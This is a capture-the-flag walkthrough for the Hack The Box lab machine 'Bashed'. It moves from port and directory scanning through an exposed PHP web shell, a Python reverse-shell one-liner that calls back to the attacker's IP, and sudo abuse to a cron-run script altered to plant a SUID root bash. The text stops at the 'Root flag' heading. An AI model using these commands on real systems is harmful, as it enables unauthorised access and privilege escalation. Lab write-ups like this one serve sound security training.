HTB - Bashed

Basic Nmap scan
command: nmap -Pn -n -sC -sV -oA scan_boxs/bashed/nmap/10.10.10.68-d-scan 10.10.10.68
Nmap scan report for 10.10.10.68
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
4001/tcp filtered newoak
Running services on port:
| PORT | SERVICE | PRODUCT | VERSION | EXTRAINFO |
|---|---|---|---|---|
| 80 | http | Apache httpd | 2.4.18 | (Ubuntu) |
| 4001 | newoak |
Enumerating port 80
The port 80 is serving a web application

gobuster probing
Using gobuster to detect any interesting folders or urls
gobuster dir -u http://10.10.10.68/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o 10.10.10.68-gb-http-80-23m.txt -x sh,txt,php -t 100 -f
http://10.10.10.68:80/contact.html (Status: 200) [Size: 7805]
http://10.10.10.68:80/index.html (Status: 200) [Size: 7743]
http://10.10.10.68:80/images (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
http://10.10.10.68:80/about.html (Status: 200) [Size: 8193]
http://10.10.10.68:80/uploads (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
http://10.10.10.68:80/php (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]
http://10.10.10.68:80/css (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
http://10.10.10.68:80/dev (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
http://10.10.10.68:80/js (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]
http://10.10.10.68:80/config.php (Status: 200) [Size: 0]
http://10.10.10.68:80/fonts (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
http://10.10.10.68:80/single.html (Status: 200) [Size: 7477]
http://10.10.10.68:80/scroll.html (Status: 200) [Size: 10863]
http://10.10.10.68:80/server-status (Status: 403) [Size: 299]
/dev looks interesting. Investigating the folder further reveals more information to access a php page.

Accessing the phpbash.php points to a page which is capable of executing shell commands such as whoami and as we can see the user is www-data

User flag
Executing the command on the web shell reveals user.txt data cat /home/arrexel/user.txt

Python Reverse Shell
Lets try to attempt to get a reverse shell. Upon exploring all the options python reverse shell is successful and reverse shell is caught with ncat on port 9001.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.15",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Catching reverse shell with ncat -lvnp 9001

Upgrading Shell
Upgrading the shell to tty terminal and then adding full terminal functionality.


Privilege escalation
sudo abuse
Checking the sudoers permissions available for the user.

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
This Shows that the user can execute any command or access any file owned by scriptmanager without password with sudo command.
sudo -u scriptmanager /bin/bash command launches bash shell with scriptmanager as user.

This allows us to access scriptmanager file and dig in deep.

At root / directory found an interesting folder /scripts owned by scriptmanager. Analyzing this folder reveals that there is a python file test.py and has a simple code to create test.txt file. Looks like the python file is executed by root since the file permissions of text.txt file points to the root as owner. Looks like there is a possibility to exploit this vector.

Observing keenly we find test.py file is executed by root every minute as we can see the time stamp of the text file below

Exploit
Updating the test.py file to give SUID bit with root permissions for the bash file.
import os
f = open("test.txt", "w")
f.write("testing 123!")
f.close
os.system("cp /bin/bash /tmp;chown root:root /tmp/bash;chmod 04775 /tmp/bash;")
After root execute the updated test.py file, bash file is copied into the tmp folder and set to root permissions and SUID bit is set.

Root flag
